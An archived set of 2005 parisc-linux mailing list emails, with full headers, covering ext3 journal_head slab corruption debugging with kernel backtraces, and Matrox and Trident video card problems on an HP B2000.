Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jul 2005 19:48:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 01 Jul 2005 21:48:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 084A07D6D7;
	Fri,  1 Jul 2005 13:48:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09344-10; Fri, 1 Jul 2005 13:48:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 069C27D6D8;
	Fri,  1 Jul 2005 13:48:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B441C7D6D1
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jul 2005 13:48:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09344-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Jul 2005 13:48:06 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 010097D6CF
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jul 2005 13:48:05 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DoRUT-00026r-00; Fri, 01 Jul 2005 15:47:57 -0400
Content-Disposition: inline
In-Reply-To: <20050701191254.GX5269@systemhalted.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (31% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qfi3YgtjeSEkXr6WZHQhaXN1IGRvbwBd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22853

On Fri, Jul 01, 2005 at 03:12:55PM -0400, Carlos O'Donell wrote:
> On Fri, Jul 01, 2005 at 02:38:03PM -0400, John David Anglin wrote:
> > > On Fri, 2005-07-01 at 13:53 -0400, Carlos O'Donell wrote:
> > > > journal_alloc_journal_head() can return a null pointer causing
> > > > the kernel to die in memset.  I think the fix is to skip calling
> > > > memset when new_jh is null.  The rest of the code looks ok except
> > > > for possibly
> > > 
> > > That's true (and needs fixing), but isn't what happened in this case.
> > > Look at the traceback:
> > 
> > Actually, I was wrong.  journal_alloc_journal_head con't return
> > null.  I see it spins until kmem_cache_alloc returns a non null
> > value.
> > 
> > It looks like mm/slab.c needs to be built with DEBUG true and
> > and possibly CONFIG_DEBUG_PAGEALLOC to find how the pointer is
> > getting allocated.
> 
> I don't know how to turn that on, I can see the define in a couple of
> places, but it's not really connected to any configuration option.
> It looks bitrotten.

Run again with debug I get teh following:

as-new        D 10109D08     0   453    438                     (NOTLB)
Backtrace:
 [<10100eac>] schedule+0x4a0/0x6f8
 [<10101b10>] io_schedule+0x3c/0x68
 [<101404d8>] sync_page+0x40/0x68
 [<10102078>] __wait_on_bit_lock+0xdc/0xf0
 [<101410a4>] __lock_page+0x98/0xa4
 [<101547c0>] do_swap_page+0x36c/0x400
 [<10155158>] handle_mm_fault+0x120/0x204
 [<10103558>] do_page_fault+0x214/0x2a4
 [<10104fd4>] handle_interruption+0x2bc/0x5e8
 [<1010a088>] intr_check_sig+0x0/0xc
 [<10166060>] get_empty_filp+0x5c/0x120
 [<10166060>] get_empty_filp+0x5c/0x120
 [<10166060>] get_empty_filp+0x5c/0x120
 [<10166060>] get_empty_filp+0x5c/0x120
 [<10166060>] get_empty_filp+0x5c/0x120
 [<10166060>] get_empty_filp+0x5c/0x120

---

Slab corruption: start=435cd90a, len=52
Redzone: 0x0/0x0.
Last user: [<00000000>](_stext+0xefefff80/0x20)
000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
030: 00 00 00 00
Prev obj: start=435cd8c5, len=52
Redzone: 0x0/0x0.
Last user: [<00000000>](_stext+0xefefff80/0x20)
000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
slab error in cache_alloc_debugcheck_after(): cache `journal_head':
double free, or memory outside object was overwritten
Backtrace:
 [<1014ba94>] cache_alloc_debugcheck_after+0xd0/0x184
 [<1014bf04>] kmem_cache_alloc+0x7c/0xc0
 [<101c04e4>] journal_alloc_journal_head+0x28/0xac
 [<101c0654>] journal_add_journal_head+0xc8/0x13c
 [<101b9ae0>] journal_dirty_data+0x64/0x1dc
 [<101a7d8c>] ext3_journal_dirty_data+0x1c/0x60
 [<101a7b30>] walk_page_buffers+0xe8/0xf4
 [<101a84b4>] ext3_ordered_writepage+0x168/0x1fc
 [<1018d68c>] mpage_writepages+0x2ac/0x3fc
 [<1018b980>] __sync_single_inode+0x5c/0x274
 [<1018bc30>] __writeback_single_inode+0x98/0x16c
 [<1018bee0>] sync_sb_inodes+0x1dc/0x32c
 [<1018c0ec>] writeback_inodes+0xbc/0xd8
 [<10147b08>] background_writeout+0xc4/0x11c
 [<1014884c>] __pdflush+0x134/0x204
 [<1014893c>] pdflush+0x20/0x2c

435cd906: redzone 1: 0x0, redzone 2: 0x0.
Slab corruption: start=435cd90a, len=52
Redzone: 0x170fc2a5/0x170fc2a5.
Last user: [<101c04e4>](journal_alloc_journal_head+0x28/0xac)
000: 2c 38 76 7c 00 00 00 00 00 00 00 01 00 00 00 00
010: 00 00 00 00 00 00 00 00 4f 66 b9 d8 00 00 00 00
020: 31 36 73 48 35 cf ae 48 00 00 00 00 00 00 00 00
030: 00 00 00 00
Prev obj: start=435cd8c5, len=52
Redzone: 0x0/0x0.
Last user: [<00000000>](_stext+0xefefff80/0x20)
000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
slab error in cache_alloc_debugcheck_after(): cache `journal_head':
double free, or memory outside object was overwritten
Backtrace:
 [<1014ba94>] cache_alloc_debugcheck_after+0xd0/0x184
 [<1014bf04>] kmem_cache_alloc+0x7c/0xc0
 [<101c04e4>] journal_alloc_journal_head+0x28/0xac
 [<101c0654>] journal_add_journal_head+0xc8/0x13c
 [<101b9ae0>] journal_dirty_data+0x64/0x1dc
 [<101a7d8c>] ext3_journal_dirty_data+0x1c/0x60
 [<101a7b30>] walk_page_buffers+0xe8/0xf4
 [<101a84b4>] ext3_ordered_writepage+0x168/0x1fc
 [<1018d68c>] mpage_writepages+0x2ac/0x3fc
 [<1018b980>] __sync_single_inode+0x5c/0x274
 [<1018bc30>] __writeback_single_inode+0x98/0x16c
 [<1018bee0>] sync_sb_inodes+0x1dc/0x32c
 [<1018c0ec>] writeback_inodes+0xbc/0xd8
 [<10147b08>] background_writeout+0xc4/0x11c
 [<1014884c>] __pdflush+0x134/0x204
 [<1014893c>] pdflush+0x20/0x2c

435cd906: redzone 1: 0x170fc2a5, redzone 2: 0x170fc2a5.
Slab corruption: start=435cd90a, len=52
Redzone: 0x170fc2a5/0x170fc2a5.
Last user: [<101c04e4>](journal_alloc_journal_head+0x28/0xac)
000: 2c 38 76 b8 00 00 00 00 00 00 00 01 00 00 00 00
010: 00 00 00 00 00 00 00 00 4f 66 b9 d8 00 00 00 00
020: 43 5c d9 0a 43 5c d9 0a 00 00 00 00 00 00 00 00
030: 00 00 00 00
Prev obj: start=435cd8c5, len=52
Redzone: 0x0/0x0.
Last user: [<00000000>](_stext+0xefefff80/0x20)
000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
slab error in cache_alloc_debugcheck_after(): cache `journal_head':
double free, or memory outside object was overwritten
Backtrace:
 [<1014ba94>] cache_alloc_debugcheck_after+0xd0/0x184
 [<1014bf04>] kmem_cache_alloc+0x7c/0xc0
 [<101c04e4>] journal_alloc_journal_head+0x28/0xac
 [<101c0654>] journal_add_journal_head+0xc8/0x13c
 [<101b9ae0>] journal_dirty_data+0x64/0x1dc
 [<101a7d8c>] ext3_journal_dirty_data+0x1c/0x60
 [<101a7b30>] walk_page_buffers+0xe8/0xf4
 [<101a84b4>] ext3_ordered_writepage+0x168/0x1fc
 [<1018d68c>] mpage_writepages+0x2ac/0x3fc
 [<1018b980>] __sync_single_inode+0x5c/0x274
 [<1018bc30>] __writeback_single_inode+0x98/0x16c
 [<1018bee0>] sync_sb_inodes+0x1dc/0x32c
 [<1018c0ec>] writeback_inodes+0xbc/0xd8
 [<10147b08>] background_writeout+0xc4/0x11c
 [<1014884c>] __pdflush+0x134/0x204
 [<1014893c>] pdflush+0x20/0x2c

435cd906: redzone 1: 0x170fc2a5, redzone 2: 0x170fc2a5.
Slab corruption: start=435cd90a, len=52
Redzone: 0x170fc2a5/0x170fc2a5.
Last user: [<101c04e4>](journal_alloc_journal_head+0x28/0xac)
000: 2c 38 76 f4 00 00 00 00 00 00 00 01 00 00 00 00
010: 00 00 00 00 00 00 00 00 4f 66 b9 d8 00 00 00 00
020: 43 5c d9 0a 43 5c d9 0a 00 00 00 00 00 00 00 00
030: 00 00 00 00
Prev obj: start=435cd8c5, len=52
Redzone: 0x0/0x0.
Last user: [<00000000>](_stext+0xefefff80/0x20)
000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
slab error in cache_alloc_debugcheck_after(): cache `journal_head':
double free, or memory outside object was overwritten
Backtrace:
 [<1014ba94>] cache_alloc_debugcheck_after+0xd0/0x184
 [<1014bf04>] kmem_cache_alloc+0x7c/0xc0
 [<101c04e4>] journal_alloc_journal_head+0x28/0xac
 [<101c0654>] journal_add_journal_head+0xc8/0x13c
 [<101b9ae0>] journal_dirty_data+0x64/0x1dc
 [<101a7d8c>] ext3_journal_dirty_data+0x1c/0x60
 [<101a7b30>] walk_page_buffers+0xe8/0xf4
 [<101a84b4>] ext3_ordered_writepage+0x168/0x1fc
 [<1018d68c>] mpage_writepages+0x2ac/0x3fc
 [<1018b980>] __sync_single_inode+0x5c/0x274
 [<1018bc30>] __writeback_single_inode+0x98/0x16c
 [<1018bee0>] sync_sb_inodes+0x1dc/0x32c
 [<1018c0ec>] writeback_inodes+0xbc/0xd8
 [<10147b08>] background_writeout+0xc4/0x11c
 [<1014884c>] __pdflush+0x134/0x204
 [<1014893c>] pdflush+0x20/0x2c

435cd906: redzone 1: 0x170fc2a5, redzone 2: 0x170fc2a5.
Slab corruption: start=435cd90a, len=52
Redzone: 0x170fc2a5/0x170fc2a5.
Last user: [<101c04e4>](journal_alloc_journal_head+0x28/0xac)
000: 2c 38 77 30 00 00 00 00 00 00 00 01 00 00 00 00
010: 00 00 00 00 00 00 00 00 4f 66 b9 d8 00 00 00 00
020: 43 5c d9 0a 43 5c d9 0a 00 00 00 00 00 00 00 00
030: 00 00 00 00
Prev obj: start=435cd8c5, len=52
Redzone: 0x0/0x0.
Last user: [<00000000>](_stext+0xefefff80/0x20)
000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
slab error in cache_alloc_debugcheck_after(): cache `journal_head':
double free, or memory outside object was overwritten
Backtrace:
 [<1014ba94>] cache_alloc_debugcheck_after+0xd0/0x184
 [<1014bf04>] kmem_cache_alloc+0x7c/0xc0
 [<101c04e4>] journal_alloc_journal_head+0x28/0xac
 [<101c0654>] journal_add_journal_head+0xc8/0x13c
 [<101b9ae0>] journal_dirty_data+0x64/0x1dc
 [<101a7d8c>] ext3_journal_dirty_data+0x1c/0x60
 [<101a7b30>] walk_page_buffers+0xe8/0xf4
 [<101a84b4>] ext3_ordered_writepage+0x168/0x1fc
 [<1018d68c>] mpage_writepages+0x2ac/0x3fc
 [<1018b980>] __sync_single_inode+0x5c/0x274
 [<1018bc30>] __writeback_single_inode+0x98/0x16c
 [<1018bee0>] sync_sb_inodes+0x1dc/0x32c
 [<1018c0ec>] writeback_inodes+0xbc/0xd8
 [<10147b08>] background_writeout+0xc4/0x11c
 [<1014884c>] __pdflush+0x134/0x204
 [<1014893c>] pdflush+0x20/0x2c

---

And on and on. Then the oops, and then a reset by the automatic reset
code. I assume this means that someone overwrote the slab sentinel?
How do we track down the rogue writer?

c.


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Matrox Mystique video card NOT initialized on HP Visualize 785/B2000 with 2.6.12-rc6-pa1kernel
Date: Sat, 2 Jul 2005 03:45:46 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <e6eae02905070119457ef4cb60__32309.7924971536$1416623828$gmane$org@mail.gmail.com>
References: <5.1.1.6.1.20050701213229.02ab2910@pop.singnet.com.sg>
Reply-To: Max Grabert <parisc@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623828 15444 80.91.229.3 (22 Nov 2014 02:37:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:08 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: "J. L. Lee" <jllee@singnet.com.sg>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Jul 2005 03:01:17 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx016) with SMTP; 02 Jul 2005 05:01:17 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id E1FF82F2CD; Fri,  1 Jul 2005 22:01:14 -0500 (CDT)
Old-Return-Path: <parisc@gmail.com>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.193])
	by murphy.debian.org (Postfix) with ESMTP id 72CA92DF3E
	for <debian-hppa@lists.debian.org>; Fri,  1 Jul 2005 21:45:46 -0500 (CDT)
Original-Received: by wproxy.gmail.com with SMTP id 36so431310wra
        for <debian-hppa@lists.debian.org>; Fri, 01 Jul 2005 19:45:46 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
        s=beta; d=gmail.com;
        h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
        b=OIyvQrF5nbiIsnNpgykATJGS+H1VAczw9xUEt5IS/6ODJprdOOZSfVYdpgxD3scQH3YgsQqUQxw/ZCmpOYzBhYK9It25ifILDDdmWU7Zeg5qDalQds36jLy6htwKY/CvUnLUqV8PiSNn75FMUFjeb0wz7XWU/lTzFm9aI5/GjQ4=
Original-Received: by 10.54.11.25 with SMTP id 25mr2126305wrk;
        Fri, 01 Jul 2005 19:45:46 -0700 (PDT)
Original-Received: by 10.54.57.24 with HTTP; Fri, 1 Jul 2005 19:45:46 -0700 (PDT)
In-Reply-To: <5.1.1.6.1.20050701213229.02ab2910@pop.singnet.com.sg>
Content-Disposition: inline
X-Rc-Spam: 2005-03-31_01
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-03-31_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_05_20_02 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=0.0 required=4.0 tests=none autolearn=no 
	version=2.63-lists.debian.org_2005_05_20_02
Resent-Message-ID: <SzhZdD.A.qXG.6NgxCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4620
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Fri,  1 Jul 2005 22:01:14 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: Kma0Yhk7eSEkYr6WZHQhaXN1IGRvb4Az
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22854

On 7/1/05, J. L. Lee <jllee@singnet.com.sg> wrote:
>  Hi,
>=20
>  I have now upgraded to Linux Kernel 2.6.12-rc6-pa1 but am still having
> problems in getting Matrox Mystique video card up and running, i.e. the c=
ard
> did not get initialized. At least it didn't cause Kernel panic as it did =
in
> 2.6.8.  (The driver is compiled into the kernel.)

Have you read the FAQ (http://www.parisc-linux.org/faq/graphics-howto.html)=
 ?
Especially this bit:

"But some graphics drivers might have minor issues.
E.g. to ensure the Matrox Millenium graphics card will be initialized prope=
rly=20
one must physically disconnect the computer from the power line before=20
(re)booting - it is not sufficient to just press the power-off button."

  Max



From - Thu Nov 08 21:33:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Trident video card caused Kernel Panic on HP
	Visualize 785/B2000 with rebuilt 2.6.11-rc6-pa1 kernel
Date: Sat, 2 Jul 2005 01:44:42 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <20050702074442.GB14091@colo.lackof.org>
References: <5.1.1.6.1.20050615221250.02a429c0@pop.singnet.com.sg>
	<5.1.1.6.1.20050615221250.02a429c0@pop.singnet.com.sg>
	<5.1.1.6.1.20050701204720.02abaec0@pop.singnet.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623828 15446 80.91.229.3 (22 Nov 2014 02:37:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "J. L. Lee" <jllee@singnet.com.sg>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Jul 2005 07:40:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 02 Jul 2005 09:40:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3DDFC7D661;
	Sat,  2 Jul 2005 01:40:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12434-05; Sat, 2 Jul 2005 01:40:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2CD227D665;
	Sat,  2 Jul 2005 01:40:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 21EA27D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Jul 2005 01:40:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12434-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 2 Jul 2005 01:40:26 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 96DED7D64F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Jul 2005 01:40:26 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id DFC4A29803C;
	Sat,  2 Jul 2005 01:44:43 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12806-10; Sat, 2 Jul 2005 01:44:42 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 4CE2B298010; Sat,  2 Jul 2005 01:44:42 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <5.1.1.6.1.20050701204720.02abaec0@pop.singnet.com.sg>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oiG0YnkeeSEke76WZHQhaXN1IGRvb0BQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22855

On Fri, Jul 01, 2005 at 08:55:21PM +0800, J. L. Lee wrote:
> >Only if the trident card is plugged in under PCI bus 0.
> >The driver needs to map the hard coded address to some PCI resource.
> >What does your "lspci -v" output say?

Lee,
Can you please post the "lspci -v" output?

> Pls adv if by 'PCI bus 0' you mean the first (counting from the top of the 
> box) available PCI slot (4 slots in mine) in my B2000?

No. PCI Bus != slot. Normally parisc machines don't have
slots on PCI bus 0 - that's usually reserved for "built-in" devices.

> >You could hack around this with "#ifndef CONFIG_PARISC"
> >and hardcode the "chip_id" to the model you have.
> >You could then find out if the rest of the code has a chance of working.
> 
> Where can I find the line "#ifndef CONFIG_PARISC" and how to hardcode the 
> "chip_id" to the model I have? Where can I get the "chip_id" info? by 
> 'lspci -v' & 'cat /proc/iomem'?

Sorry, sounds like my advice is a bit beyond your current skill level.
Can someone cook up a patch for him to try?

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Alternative implementation of glibc spinlocks
Date: Sat, 02 Jul 2005 23:23:57 +0800
Lines: 41
Approved: news@gmane.org
Message-ID: <42C6B18D.7090909@tausq.org>
References: <20050702135938.GV19114@tausq.org>
	<200507020935.42389.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-2022-JP
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623829 15448 80.91.229.3 (22 Nov 2014 02:37:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:09 +0000 (UTC)
To: "Michael S. Zick" <mszick@morethan.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Jul 2005 15:24:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 02 Jul 2005 17:24:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5746C7D6B3;
	Sat,  2 Jul 2005 09:24:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15896-04; Sat, 2 Jul 2005 09:24:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C06037D6B7;
	Sat,  2 Jul 2005 09:24:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5DEA07D6B1
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Jul 2005 09:24:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15864-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 2 Jul 2005 09:24:12 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 9EEB97D6AF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Jul 2005 09:24:12 -0600 (MDT)
Original-Received: from 64.194.17.210.dyn.pacific.net.hk ([210.17.194.64]
	helo=[192.168.1.102])
	by stl.com.hk with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32)
	(Exim 4.50) id 1Dojpj-0004q7-4H; Sat, 02 Jul 2005 23:23:07 +0800
User-Agent: Debian Thunderbird 1.0.2 (X11/20050331)
X-Accept-Language: en-us, en
